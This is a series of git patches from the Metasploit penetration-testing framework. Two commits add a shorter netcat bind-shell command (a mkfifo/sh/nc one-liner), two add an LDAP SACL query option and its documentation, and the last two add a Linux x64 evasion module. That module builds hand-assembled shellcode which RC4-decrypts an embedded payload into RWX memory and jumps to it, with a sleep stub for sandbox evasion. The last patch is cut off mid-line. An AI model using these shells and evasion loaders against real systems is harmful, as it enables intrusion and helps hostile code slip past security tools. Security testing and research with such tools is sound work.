From 3477ec7a9d081cdce9bcd2ab9da73d2c013c1f7c Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Tue, 20 Jan 2026 04:48:49 -0500 Subject: [PATCH 001/103] feat: add support for short command execution in bind_netcat module --- modules/payloads/singles/cmd/unix/bind_netcat.rb | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/modules/payloads/singles/cmd/unix/bind_netcat.rb b/modules/payloads/singles/cmd/unix/bind_netcat.rb index b1236b82a26c3..7a4f16efd42d4 100644 --- a/modules/payloads/singles/cmd/unix/bind_netcat.rb +++ b/modules/payloads/singles/cmd/unix/bind_netcat.rb @@ -36,7 +36,8 @@ def initialize(info = {}) register_advanced_options( [ OptString.new('NetcatPath', [true, 'The path to the Netcat executable', 'nc']), - OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh']) + OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh']), + OptBool.new('ShortCommand', [false, 'Use a shorter command string (hardcoded mkfifo name and shell)', false]) ] ) end @@ -53,7 +54,12 @@ def generate(_opts = {}) # Returns the command string to use for execution # def command_string - backpipe = Rex::Text.rand_text_alpha_lower(4..7) - "mkfifo /tmp/#{backpipe}; (#{datastore['NetcatPath']} -l -p #{datastore['LPORT']} ||#{datastore['NetcatPath']} -l #{datastore['LPORT']})0/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}" + if datastore['ShortCommand'] + payload = "mkfifo p;sh -i

&1|nc -l #{datastore['LPORT']}>p" + else + backpipe = Rex::Text.rand_text_alpha_lower(4..7) + payload = "mkfifo /tmp/#{backpipe}; (#{datastore['NetcatPath']} -l -p #{datastore['LPORT']} ||#{datastore['NetcatPath']} -l #{datastore['LPORT']})0/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}" + end + payload end end From 9459571bc289102769b95abe13a155bb3ea8457f Mon Sep 17 00:00:00 2001 From: Diego Ledda Date: Thu, 29 Jan 2026 13:22:54 +0100 Subject: [PATCH 002/103] Update modules/payloads/singles/cmd/unix/bind_netcat.rb Co-authored-by: Simon Janusz <85949464+sjanusz-r7@users.noreply.github.com> --- modules/payloads/singles/cmd/unix/bind_netcat.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/cmd/unix/bind_netcat.rb b/modules/payloads/singles/cmd/unix/bind_netcat.rb index 7a4f16efd42d4..7940233137c6b 100644 --- a/modules/payloads/singles/cmd/unix/bind_netcat.rb +++ b/modules/payloads/singles/cmd/unix/bind_netcat.rb @@ -55,7 +55,7 @@ def generate(_opts = {}) # def command_string if datastore['ShortCommand'] - payload = "mkfifo p;sh -i

&1|nc -l #{datastore['LPORT']}>p" + payload = "mkfifo p;#{datastore["ShellPath"]} -i

&1|#{datastore["NetcatPath"]} -l #{datastore['LPORT']}>p" else backpipe = Rex::Text.rand_text_alpha_lower(4..7) payload = "mkfifo /tmp/#{backpipe}; (#{datastore['NetcatPath']} -l -p #{datastore['LPORT']} ||#{datastore['NetcatPath']} -l #{datastore['LPORT']})0/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}" From 5ae18d13074dbc490a2a48b26d8b829288f21bb1 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 26 Nov 2025 16:13:51 -0500 Subject: [PATCH 003/103] Allow toggling the SACL in queries --- lib/msf/core/exploit/remote/ldap/queries.rb | 4 ++-- modules/auxiliary/gather/ldap_query.rb | 13 ++++++++++++- 2 files changed, 14 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/remote/ldap/queries.rb b/lib/msf/core/exploit/remote/ldap/queries.rb index 5bbdb4948409e..144684191146d 100755 --- a/lib/msf/core/exploit/remote/ldap/queries.rb +++ b/lib/msf/core/exploit/remote/ldap/queries.rb @@ -81,7 +81,7 @@ def perform_ldap_query(ldap, filter, attributes, base, schema_dn, scope: nil) results end - def perform_ldap_query_streaming(ldap, filter, attributes, base, schema_dn, scope: nil) + def perform_ldap_query_streaming(ldap, filter, attributes, base, schema_dn, scope: nil, controls: []) if attributes.nil? || schema_dn.nil? attribute_properties = {} else @@ -96,7 +96,7 @@ def perform_ldap_query_streaming(ldap, filter, attributes, base, schema_dn, scop scope ||= Net::LDAP::SearchScope_WholeSubtree result_count = 0 - ldap.search(base: base, filter: filter, attributes: attributes, scope: scope, return_result: false) do |result| + ldap.search(base: base, filter: filter, attributes: attributes, scope: scope, controls: controls, return_result: false) do |result| result_count += 1 yield result, attribute_properties if block_given? end diff --git a/modules/auxiliary/gather/ldap_query.rb b/modules/auxiliary/gather/ldap_query.rb index 69d005e389a5d..00976440abe5b 100644 --- a/modules/auxiliary/gather/ldap_query.rb +++ b/modules/auxiliary/gather/ldap_query.rb @@ -6,6 +6,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::LDAP + include Msf::Exploit::Remote::LDAP::ActiveDirectory include Msf::Exploit::Remote::LDAP::Queries include Msf::OptionalSession::LDAP require 'json' @@ -66,6 +67,10 @@ def initialize(info = {}) OptString.new('QUERY_FILTER', [false, 'Filter to send to the target LDAP server to perform the query'], conditions: %w[ACTION == RUN_SINGLE_QUERY]), OptString.new('QUERY_ATTRIBUTES', [false, 'Comma separated list of attributes to retrieve from the server'], conditions: %w[ACTION == RUN_SINGLE_QUERY]) ]) + + register_advanced_options([ + OptBool.new('LDAP::QuerySacl', [true, 'Query the SACL field from security descriptors (requires privileges)', true]) + ]) end def initialize_actions @@ -185,7 +190,13 @@ def run fail_with(Failure::BadConfig, "Could not compile the filter #{filter_string}. Error was #{e}") end - result_count = perform_ldap_query_streaming(ldap, filter, attributes, query_base, schema_dn) do |result, attribute_properties| + controls = [] + unless datastore['LDAP::QuerySacl'] + # omit the control entirely if querying the SACL because that's the default behavior + controls = [adds_build_ldap_sd_control(sacl: false)] + end + + result_count = perform_ldap_query_streaming(ldap, filter, attributes, query_base, schema_dn, controls: controls) do |result, attribute_properties| show_output(normalize_entry(result, attribute_properties), datastore['OUTPUT_FORMAT']) end From c8c7705190b77c899fc7064989200748b241a785 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 3 Feb 2026 17:38:56 -0500 Subject: [PATCH 004/103] Add notes about the new option --- documentation/modules/auxiliary/gather/ldap_query.md | 6 ++++++ lib/msf/ui/tip.rb | 3 ++- 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/gather/ldap_query.md b/documentation/modules/auxiliary/gather/ldap_query.md index 3460c65ecf2dd..d91bde2c1569b 100644 --- a/documentation/modules/auxiliary/gather/ldap_query.md +++ b/documentation/modules/auxiliary/gather/ldap_query.md @@ -78,6 +78,12 @@ Used only when the `RUN_SINGLE_QUERY` action is used. Should be a comma separate of attributes to display from the full result set for each entry that was returned by the target LDAP server. Used to filter the results down to manageable sets of data. +### LDAP::QuerySacl +Query the SACL on security descriptors. If the authenticated user does not have permission +to view the SACL, the entire security descriptor will be omitted by the server. Setting +this to false enables the other fields of the security descriptor to be viewed when those +permissions are not present. Only applicable for Active Directory LDAP servers. + ## Scenarios ### RUN_SINGLE_QUERY with Table Output diff --git a/lib/msf/ui/tip.rb b/lib/msf/ui/tip.rb index c4a928c4da056..048d9b4ab4426 100644 --- a/lib/msf/ui/tip.rb +++ b/lib/msf/ui/tip.rb @@ -51,7 +51,8 @@ def self.highlight(string) "Execute a command across all sessions with #{highlight('sessions -C ')}", "Use #{highlight('post/multi/manage/autoroute')} to automatically add pivot routes", "Use #{highlight('check')} before #{highlight('run')} to confirm if a target is vulnerable", - "Bind your reverse shell to a tunnel with #{highlight('set ReverseListenerBindAddress ')} and #{highlight('set ReverseListenerBindPort ')} (e.g., ngrok)" + "Bind your reverse shell to a tunnel with #{highlight('set ReverseListenerBindAddress ')} and #{highlight('set ReverseListenerBindPort ')} (e.g., ngrok)", + "Use #{highlight('set LDAP::QuerySacl false')} to view security descriptors with the ldap_query module from non-privileged accounts" ].freeze private_constant :COMMON_TIPS From 9610cdb2a4f52d193a920541a90ffebb57bcac45 Mon Sep 17 00:00:00 2001 From: litemars Date: Thu, 12 Feb 2026 16:45:26 +0100 Subject: [PATCH 005/103] add x64 rc4 packer, sleep evasion routine and rc4 decrypter --- .../core/payload/linux/x64/rc4_decrypter.rb | 241 ++++++++++++++++++ .../core/payload/linux/x64/sleep_evasion.rb | 40 +++ modules/evasion/linux/x64_rc4_packer.rb | 56 ++++ 3 files changed, 337 insertions(+) create mode 100644 lib/msf/core/payload/linux/x64/rc4_decrypter.rb create mode 100644 lib/msf/core/payload/linux/x64/sleep_evasion.rb create mode 100644 modules/evasion/linux/x64_rc4_packer.rb diff --git a/lib/msf/core/payload/linux/x64/rc4_decrypter.rb b/lib/msf/core/payload/linux/x64/rc4_decrypter.rb new file mode 100644 index 0000000000000..98028760bdf8a --- /dev/null +++ b/lib/msf/core/payload/linux/x64/rc4_decrypter.rb @@ -0,0 +1,241 @@ +module Msf::Payload::Linux::X64::Rc4Decrypter + + STUB_KEY_SIZE_OFFSET = 0x0f8 + STUB_PAYLOAD_SIZE_OFFSET = 0x100 + STUB_ENCRYPTED_SIZE_OFFSET = 0x108 + STUB_KEY_DATA_OFFSET = 0x110 + STUB_ENCRYPTED_DATA_OFFSET = 0x210 + + def rc4_decrypter_stub + stub = "" + + # === PART 1: Get base address and MMAP === + # 0x00: lea r12, [rip-7] ; r12 = base address + stub << [0x258d4c].pack('V')[0,3] + stub << [0xfffffff9].pack('V') + # 0x07: mov rsi, [r12+0x100] ; rsi = payload_size + stub << [0x24b48b49].pack('V') + stub << [STUB_PAYLOAD_SIZE_OFFSET].pack('V') + # 0x0f: xor edi, edi ; addr = NULL + stub << [0xff31].pack('v') + # 0x11: mov edx, 7 ; prot = PROT_RWX + stub << [0x07ba].pack('v') + stub << [0x0000].pack('v') + stub << [0x00].pack('C') + # 0x16: mov r10d, 0x22 ; flags = MAP_PRIVATE|MAP_ANON + stub << [0xba41].pack('v') + stub << [0x00000022].pack('V') + # 0x1c: mov r8d, -1 ; fd = -1 + stub << [0xb841].pack('v') + stub << [0xffffffff].pack('V') + # 0x22: xor r9d, r9d ; offset = 0 + stub << [0x3145].pack('v') + stub << [0xc9].pack('C') + # 0x25: mov eax, 9 ; syscall = mmap + stub << [0xb8].pack('C') + stub << [0x00000009].pack('V') + # 0x2a: syscall + stub << [0x050f].pack('v') + # 0x2c: mov r13, rax ; save mmap result + stub << [0x8949].pack('v') + stub << [0xc5].pack('C') + + # === PART 2: Initialize S-box (256 bytes) on stack === + # 0x2f: sub rsp, 256 ; allocate S-box + stub << [0x8148].pack('v') + stub << [0xec].pack('C') + stub << [0x00000100].pack('V') + # 0x36: mov rdi, rsp ; rdi = S-box pointer + stub << [0x8948].pack('v') + stub << [0xe7].pack('C') + # 0x39: xor ecx, ecx ; i = 0 + stub << [0xc931].pack('v') + # S-box init loop: S[i] = i for i = 0..255 + # 0x3b: mov [rdi+rcx], cl ; S[i] = i + stub << [0x0c88].pack('v') + stub << [0x0f].pack('C') + # 0x3e: inc ecx ; i++ + stub << [0xc1ff].pack('v') + # 0x40: cmp ecx, 256 + stub << [0xf981].pack('v') + stub << [0x00000100].pack('V') + # 0x46: jne 0x3b ; loop until i == 256 + stub << [0xf375].pack('v') + + # === PART 3: RC4 Key Scheduling Algorithm (KSA) === + # 0x48: lea r8, [r12+0x110] ; r8 -> key_data + stub << [0x848d4d].pack('V')[0,3] + stub << [0x24].pack('C') + stub << [STUB_KEY_DATA_OFFSET].pack('V') + # 0x50: mov r9d, [r12+0xf8] ; r9 = key_size + stub << [0x8c8b45].pack('V')[0,3] + stub << [0x24].pack('C') + stub << [STUB_KEY_SIZE_OFFSET].pack('V') + # 0x58: xor ecx, ecx ; i = 0 + stub << [0xc931].pack('v') + # 0x5a: xor edx, edx ; j = 0 + stub << [0xd231].pack('v') + + # KSA loop: for i = 0..255 + # 0x5c: movzx eax, byte [rdi+rcx] ; eax = S[i] + stub << [0xb60f].pack('v') + stub << [0x0f04].pack('v') + # 0x60: add edx, eax ; j += S[i] + stub << [0xc201].pack('v') + # 0x62: mov eax, ecx ; eax = i + stub << [0xc889].pack('v') + # mod_loop: + # 0x64: cmp eax, r9d ; compare with key_size + stub << [0x3944].pack('v') + stub << [0xc8].pack('C') + # 0x67: jb mod_done + stub << [0x0572].pack('v') + # 0x69: sub eax, r9d ; i % key_size via subtraction + stub << [0x2944].pack('v') + stub << [0xc8].pack('C') + # 0x6c: jmp mod_loop + stub << [0xf6eb].pack('v') + # mod_done: + # 0x6e: movzx eax, byte [r8+rax] ; eax = key[i % key_size] + stub << [0xb60f41].pack('V')[0,3] + stub << [0x0004].pack('v') + # 0x73: add edx, eax ; j += key[i % key_size] + stub << [0xc201].pack('v') + # 0x75: and edx, 0xff ; j &= 0xFF + stub << [0xe281].pack('v') + stub << [0x000000ff].pack('V') + # swap S[i] and S[j]: + # 0x7b: movzx eax, byte [rdi+rcx] ; eax = S[i] + stub << [0xb60f].pack('v') + stub << [0x0f04].pack('v') + # 0x7f: movzx r10d, byte [rdi+rdx] ; r10 = S[j] + stub << [0xb60f44].pack('V')[0,3] + stub << [0x1714].pack('v') + # 0x84: mov [rdi+rcx], r10b ; S[i] = S[j] + stub << [0x8844].pack('v') + stub << [0x0f14].pack('v') + # 0x88: mov [rdi+rdx], al ; S[j] = S[i] + stub << [0x0488].pack('v') + stub << [0x17].pack('C') + # 0x8b: inc ecx ; i++ + stub << [0xc1ff].pack('v') + # 0x8d: cmp ecx, 256 + stub << [0xf981].pack('v') + stub << [0x00000100].pack('V') + # 0x93: jne 0x5c ; loop until i == 256 + stub << [0xc775].pack('v') + + # === PART 4: RC4 Pseudo-Random Generation Algorithm (PRGA) === + # 0x95: lea r8, [r12+0x210] ; r8 -> encrypted_data + stub << [0x848d4d].pack('V')[0,3] + stub << [0x24].pack('C') + stub << [STUB_ENCRYPTED_DATA_OFFSET].pack('V') + # 0x9d: mov r9d, [r12+0x108] ; r9 = encrypted_size + stub << [0x8c8b45].pack('V')[0,3] + stub << [0x24].pack('C') + stub << [STUB_ENCRYPTED_SIZE_OFFSET].pack('V') + # 0xa5: xor ecx, ecx ; i = 0 + stub << [0xc931].pack('v') + # 0xa7: xor edx, edx ; j = 0 + stub << [0xd231].pack('v') + # 0xa9: xor r10d, r10d ; k = 0 (byte counter) + stub << [0x3145].pack('v') + stub << [0xd2].pack('C') + + # PRGA loop: for k = 0..encrypted_size-1 + # 0xac: inc ecx ; i = (i + 1) + stub << [0xc1ff].pack('v') + # 0xae: and ecx, 0xff ; i &= 0xFF + stub << [0xe181].pack('v') + stub << [0x000000ff].pack('V') + # 0xb4: movzx eax, byte [rdi+rcx] ; eax = S[i] + stub << [0xb60f].pack('v') + stub << [0x0f04].pack('v') + # 0xb8: add edx, eax ; j += S[i] + stub << [0xc201].pack('v') + # 0xba: and edx, 0xff ; j &= 0xFF + stub << [0xe281].pack('v') + stub << [0x000000ff].pack('V') + # swap S[i] and S[j]: + # 0xc0: movzx eax, byte [rdi+rcx] ; eax = S[i] + stub << [0xb60f].pack('v') + stub << [0x0f04].pack('v') + # 0xc4: movzx r11d, byte [rdi+rdx] ; r11 = S[j] + stub << [0xb60f44].pack('V')[0,3] + stub << [0x171c].pack('v') + # 0xc9: mov [rdi+rcx], r11b ; S[i] = S[j] + stub << [0x8844].pack('v') + stub << [0x0f1c].pack('v') + # 0xcd: mov [rdi+rdx], al ; S[j] = S[i] + stub << [0x0488].pack('v') + stub << [0x17].pack('C') + # keystream byte and XOR: + # 0xd0: add eax, r11d ; eax = S[i] + S[j] + stub << [0x0144].pack('v') + stub << [0xd8].pack('C') + # 0xd3: and eax, 0xff ; eax &= 0xFF + stub << [0x25].pack('C') + stub << [0x000000ff].pack('V') + # 0xd8: movzx eax, byte [rdi+rax] ; eax = S[(S[i]+S[j]) & 0xFF] + stub << [0xb60f].pack('v') + stub << [0x0704].pack('v') + # 0xdc: xor al, [r8+r10] ; al ^= encrypted[k] + stub << [0x3243].pack('v') + stub << [0x1004].pack('v') + # 0xe0: mov [r13+r10], al ; output[k] = decrypted + stub << [0x8843].pack('v') + stub << [0x1544].pack('v') + stub << [0x00].pack('C') + # 0xe5: inc r10d ; k++ + stub << [0xff41].pack('v') + stub << [0xc2].pack('C') + # 0xe8: cmp r10d, r9d ; compare k with size + stub << [0x3945].pack('v') + stub << [0xca].pack('C') + # 0xeb: jne 0xac ; loop until k == encrypted_size + stub << [0xbf75].pack('v') + + # === PART 5: Cleanup and jump === + # 0xed: add rsp, 256 ; restore stack + stub << [0x8148].pack('v') + stub << [0xc4].pack('C') + stub << [0x00000100].pack('V') + # 0xf4: jmp r13 ; jump to decrypted payload + stub << [0xff41].pack('v') + stub << [0xe5].pack('C') + + # Pad to data section + stub << ("\x90" * (STUB_KEY_SIZE_OFFSET - stub.length)) + + # Data section placeholders + stub << ("\x00" * 8) # key_size at 0xf8 + stub << ("\x00" * 8) # payload_size at 0x100 + stub << ("\x00" * 8) # encrypted_size at 0x108 + stub << ("\x00" * 256) # key_data at 0x110 + + stub + end + + def rc4_decrypter(opts = {}) + key = opts[:key] || Rex::Text.rand_text(16) + payload = opts[:data] || raise(ArgumentError, "Encrypted data required") + + encrypted_data = Rex::Crypto::Rc4.rc4(key, payload) + payload_size = encrypted_data.length + + stub = rc4_decrypter_stub.dup + + stub[STUB_KEY_SIZE_OFFSET, 8] = [key.length].pack('Q<') + stub[STUB_PAYLOAD_SIZE_OFFSET, 8] = [payload.length].pack('Q<') + stub[STUB_ENCRYPTED_SIZE_OFFSET, 8] = [encrypted_data.length].pack('Q<') + + stub[STUB_KEY_DATA_OFFSET, 256] = key.ljust(256, "\x00") + + stub + encrypted_data + end + + def stub_size + STUB_ENCRYPTED_DATA_OFFSET + end + +end \ No newline at end of file diff --git a/lib/msf/core/payload/linux/x64/sleep_evasion.rb b/lib/msf/core/payload/linux/x64/sleep_evasion.rb new file mode 100644 index 0000000000000..d6ba7376ec0a5 --- /dev/null +++ b/lib/msf/core/payload/linux/x64/sleep_evasion.rb @@ -0,0 +1,40 @@ +module Msf::Payload::Linux::X64::SleepEvasion + + STUB_SLEEP_SECONDS_OFFSET = 0x02 + + def sleep_stub + stub = "" + + # 0x00: jmp 0x12 ; jump forward to code (skip data section) + stub << [0xeb, 0x10].pack('C*') + # 0x02: timespec.tv_sec (8 bytes) ; sleep duration in seconds (patched later) + stub << "\x00\x00\x00\x00\x00\x00\x00\x00" + # 0x0a: timespec.tv_nsec (8 bytes) ; nanoseconds component (always 0) + stub << "\x00\x00\x00\x00\x00\x00\x00\x00" + # 0x12: lea rdi, [rip-0x10] ; rdi -> timespec structure (RIP-relative addressing) + stub << [0x48, 0x8d, 0x3d, 0xf0, 0xff, 0xff, 0xff].pack('C*') + # 0x19: xor rsi, rsi ; rsi = NULL (remaining time pointer) + stub << [0x48, 0x31, 0xf6].pack('C*') + # 0x1c: mov rax, 35 ; syscall number for nanosleep (0x23) + stub << [0x48, 0xc7, 0xc0, 0x23, 0x00, 0x00, 0x00].pack('C*') + # 0x23: syscall ; invoke syscall + stub << [0x0f, 0x05].pack('C*') + # 0x25: execution continues to appended payload + + stub + end + + def sleep_evasion(opts = {}) + seconds = opts[:seconds] || 0 + return "" if seconds == 0 + + stub = sleep_stub.dup + stub[STUB_SLEEP_SECONDS_OFFSET, 8] = [seconds].pack('Q<') + stub + end + + def sleep_stub_size + 37 + end + +end diff --git a/modules/evasion/linux/x64_rc4_packer.rb b/modules/evasion/linux/x64_rc4_packer.rb new file mode 100644 index 0000000000000..597b8735f914a --- /dev/null +++ b/modules/evasion/linux/x64_rc4_packer.rb @@ -0,0 +1,56 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Evasion + + include Msf::Payload::Linux::X64::Rc4Decrypter + include Msf::Payload::Linux::X64::SleepEvasion + include Msf::Payload::Linux::X64::ElfLoader + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux RC4 Encrypted Payload Generator', + 'Description' => %q{ + This module generates a Linux ELF executable with RC4 encryption + and optional sleep-based sandbox evasion. + + Features: + - RC4 encryption with configurable key + - In-memory decryption and execution + - Optional sleep delay for sandbox evasion + - Position-independent shellcode + }, + 'Author' => ['Massimo Bertocchi'], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => [ARCH_X64], + 'Targets' => [['Linux x64', {}]], + 'DefaultTarget' => 0, + ) + ) + + register_options([ + OptString.new('FILENAME', [true, 'Output filename', 'payload.elf']), + OptInt.new('SLEEP_TIME', [false, 'Sleep seconds for sandbox evasion', 0]), + ]) + end + + def run + + raw_payload = payload.encoded + unless raw_payload && raw_payload.length > 0 + fail_with(Failure::BadConfig, "Failed to generate payload") + end + + elf_payload = Msf::Util::EXE.to_linux_x64_elf(framework, raw_payload) + complete_loader = sleep_evasion( seconds: datastore['SLEEP_TIME']) + rc4_decrypter(data: (in_memory_load(elf_payload) + elf_payload)) + final_elf = Msf::Util::EXE.to_linux_x64_elf(framework, complete_loader) + File.binwrite(datastore['FILENAME'], final_elf) + File.chmod(0755, datastore['FILENAME']) + + end +end From bfbc408617e6c0e9875493fc7087e80bf50a431b Mon Sep 17 00:00:00 2001 From: litemars Date: Fri, 13 Feb 2026 13:49:30 +0100 Subject: [PATCH 006/103] updating x64 rc4 packer to use Metasm --- .../core/payload/linux/x64/rc4_decrypter.rb | 337 ++++++------------ 1 file changed, 118 insertions(+), 219 deletions(-) diff --git a/lib/msf/core/payload/linux/x64/rc4_decrypter.rb b/lib/msf/core/payload/linux/x64/rc4_decrypter.rb index 98028760bdf8a..fdf86151c45ea 100644 --- a/lib/msf/core/payload/linux/x64/rc4_decrypter.rb +++ b/lib/msf/core/payload/linux/x64/rc4_decrypter.rb @@ -1,219 +1,108 @@ module Msf::Payload::Linux::X64::Rc4Decrypter - STUB_KEY_SIZE_OFFSET = 0x0f8 - STUB_PAYLOAD_SIZE_OFFSET = 0x100 - STUB_ENCRYPTED_SIZE_OFFSET = 0x108 - STUB_KEY_DATA_OFFSET = 0x110 - STUB_ENCRYPTED_DATA_OFFSET = 0x210 - def rc4_decrypter_stub - stub = "" - - # === PART 1: Get base address and MMAP === - # 0x00: lea r12, [rip-7] ; r12 = base address - stub << [0x258d4c].pack('V')[0,3] - stub << [0xfffffff9].pack('V') - # 0x07: mov rsi, [r12+0x100] ; rsi = payload_size - stub << [0x24b48b49].pack('V') - stub << [STUB_PAYLOAD_SIZE_OFFSET].pack('V') - # 0x0f: xor edi, edi ; addr = NULL - stub << [0xff31].pack('v') - # 0x11: mov edx, 7 ; prot = PROT_RWX - stub << [0x07ba].pack('v') - stub << [0x0000].pack('v') - stub << [0x00].pack('C') - # 0x16: mov r10d, 0x22 ; flags = MAP_PRIVATE|MAP_ANON - stub << [0xba41].pack('v') - stub << [0x00000022].pack('V') - # 0x1c: mov r8d, -1 ; fd = -1 - stub << [0xb841].pack('v') - stub << [0xffffffff].pack('V') - # 0x22: xor r9d, r9d ; offset = 0 - stub << [0x3145].pack('v') - stub << [0xc9].pack('C') - # 0x25: mov eax, 9 ; syscall = mmap - stub << [0xb8].pack('C') - stub << [0x00000009].pack('V') - # 0x2a: syscall - stub << [0x050f].pack('v') - # 0x2c: mov r13, rax ; save mmap result - stub << [0x8949].pack('v') - stub << [0xc5].pack('C') - - # === PART 2: Initialize S-box (256 bytes) on stack === - # 0x2f: sub rsp, 256 ; allocate S-box - stub << [0x8148].pack('v') - stub << [0xec].pack('C') - stub << [0x00000100].pack('V') - # 0x36: mov rdi, rsp ; rdi = S-box pointer - stub << [0x8948].pack('v') - stub << [0xe7].pack('C') - # 0x39: xor ecx, ecx ; i = 0 - stub << [0xc931].pack('v') - # S-box init loop: S[i] = i for i = 0..255 - # 0x3b: mov [rdi+rcx], cl ; S[i] = i - stub << [0x0c88].pack('v') - stub << [0x0f].pack('C') - # 0x3e: inc ecx ; i++ - stub << [0xc1ff].pack('v') - # 0x40: cmp ecx, 256 - stub << [0xf981].pack('v') - stub << [0x00000100].pack('V') - # 0x46: jne 0x3b ; loop until i == 256 - stub << [0xf375].pack('v') - - # === PART 3: RC4 Key Scheduling Algorithm (KSA) === - # 0x48: lea r8, [r12+0x110] ; r8 -> key_data - stub << [0x848d4d].pack('V')[0,3] - stub << [0x24].pack('C') - stub << [STUB_KEY_DATA_OFFSET].pack('V') - # 0x50: mov r9d, [r12+0xf8] ; r9 = key_size - stub << [0x8c8b45].pack('V')[0,3] - stub << [0x24].pack('C') - stub << [STUB_KEY_SIZE_OFFSET].pack('V') - # 0x58: xor ecx, ecx ; i = 0 - stub << [0xc931].pack('v') - # 0x5a: xor edx, edx ; j = 0 - stub << [0xd231].pack('v') - - # KSA loop: for i = 0..255 - # 0x5c: movzx eax, byte [rdi+rcx] ; eax = S[i] - stub << [0xb60f].pack('v') - stub << [0x0f04].pack('v') - # 0x60: add edx, eax ; j += S[i] - stub << [0xc201].pack('v') - # 0x62: mov eax, ecx ; eax = i - stub << [0xc889].pack('v') - # mod_loop: - # 0x64: cmp eax, r9d ; compare with key_size - stub << [0x3944].pack('v') - stub << [0xc8].pack('C') - # 0x67: jb mod_done - stub << [0x0572].pack('v') - # 0x69: sub eax, r9d ; i % key_size via subtraction - stub << [0x2944].pack('v') - stub << [0xc8].pack('C') - # 0x6c: jmp mod_loop - stub << [0xf6eb].pack('v') - # mod_done: - # 0x6e: movzx eax, byte [r8+rax] ; eax = key[i % key_size] - stub << [0xb60f41].pack('V')[0,3] - stub << [0x0004].pack('v') - # 0x73: add edx, eax ; j += key[i % key_size] - stub << [0xc201].pack('v') - # 0x75: and edx, 0xff ; j &= 0xFF - stub << [0xe281].pack('v') - stub << [0x000000ff].pack('V') - # swap S[i] and S[j]: - # 0x7b: movzx eax, byte [rdi+rcx] ; eax = S[i] - stub << [0xb60f].pack('v') - stub << [0x0f04].pack('v') - # 0x7f: movzx r10d, byte [rdi+rdx] ; r10 = S[j] - stub << [0xb60f44].pack('V')[0,3] - stub << [0x1714].pack('v') - # 0x84: mov [rdi+rcx], r10b ; S[i] = S[j] - stub << [0x8844].pack('v') - stub << [0x0f14].pack('v') - # 0x88: mov [rdi+rdx], al ; S[j] = S[i] - stub << [0x0488].pack('v') - stub << [0x17].pack('C') - # 0x8b: inc ecx ; i++ - stub << [0xc1ff].pack('v') - # 0x8d: cmp ecx, 256 - stub << [0xf981].pack('v') - stub << [0x00000100].pack('V') - # 0x93: jne 0x5c ; loop until i == 256 - stub << [0xc775].pack('v') - - # === PART 4: RC4 Pseudo-Random Generation Algorithm (PRGA) === - # 0x95: lea r8, [r12+0x210] ; r8 -> encrypted_data - stub << [0x848d4d].pack('V')[0,3] - stub << [0x24].pack('C') - stub << [STUB_ENCRYPTED_DATA_OFFSET].pack('V') - # 0x9d: mov r9d, [r12+0x108] ; r9 = encrypted_size - stub << [0x8c8b45].pack('V')[0,3] - stub << [0x24].pack('C') - stub << [STUB_ENCRYPTED_SIZE_OFFSET].pack('V') - # 0xa5: xor ecx, ecx ; i = 0 - stub << [0xc931].pack('v') - # 0xa7: xor edx, edx ; j = 0 - stub << [0xd231].pack('v') - # 0xa9: xor r10d, r10d ; k = 0 (byte counter) - stub << [0x3145].pack('v') - stub << [0xd2].pack('C') - - # PRGA loop: for k = 0..encrypted_size-1 - # 0xac: inc ecx ; i = (i + 1) - stub << [0xc1ff].pack('v') - # 0xae: and ecx, 0xff ; i &= 0xFF - stub << [0xe181].pack('v') - stub << [0x000000ff].pack('V') - # 0xb4: movzx eax, byte [rdi+rcx] ; eax = S[i] - stub << [0xb60f].pack('v') - stub << [0x0f04].pack('v') - # 0xb8: add edx, eax ; j += S[i] - stub << [0xc201].pack('v') - # 0xba: and edx, 0xff ; j &= 0xFF - stub << [0xe281].pack('v') - stub << [0x000000ff].pack('V') - # swap S[i] and S[j]: - # 0xc0: movzx eax, byte [rdi+rcx] ; eax = S[i] - stub << [0xb60f].pack('v') - stub << [0x0f04].pack('v') - # 0xc4: movzx r11d, byte [rdi+rdx] ; r11 = S[j] - stub << [0xb60f44].pack('V')[0,3] - stub << [0x171c].pack('v') - # 0xc9: mov [rdi+rcx], r11b ; S[i] = S[j] - stub << [0x8844].pack('v') - stub << [0x0f1c].pack('v') - # 0xcd: mov [rdi+rdx], al ; S[j] = S[i] - stub << [0x0488].pack('v') - stub << [0x17].pack('C') - # keystream byte and XOR: - # 0xd0: add eax, r11d ; eax = S[i] + S[j] - stub << [0x0144].pack('v') - stub << [0xd8].pack('C') - # 0xd3: and eax, 0xff ; eax &= 0xFF - stub << [0x25].pack('C') - stub << [0x000000ff].pack('V') - # 0xd8: movzx eax, byte [rdi+rax] ; eax = S[(S[i]+S[j]) & 0xFF] - stub << [0xb60f].pack('v') - stub << [0x0704].pack('v') - # 0xdc: xor al, [r8+r10] ; al ^= encrypted[k] - stub << [0x3243].pack('v') - stub << [0x1004].pack('v') - # 0xe0: mov [r13+r10], al ; output[k] = decrypted - stub << [0x8843].pack('v') - stub << [0x1544].pack('v') - stub << [0x00].pack('C') - # 0xe5: inc r10d ; k++ - stub << [0xff41].pack('v') - stub << [0xc2].pack('C') - # 0xe8: cmp r10d, r9d ; compare k with size - stub << [0x3945].pack('v') - stub << [0xca].pack('C') - # 0xeb: jne 0xac ; loop until k == encrypted_size - stub << [0xbf75].pack('v') - - # === PART 5: Cleanup and jump === - # 0xed: add rsp, 256 ; restore stack - stub << [0x8148].pack('v') - stub << [0xc4].pack('C') - stub << [0x00000100].pack('V') - # 0xf4: jmp r13 ; jump to decrypted payload - stub << [0xff41].pack('v') - stub << 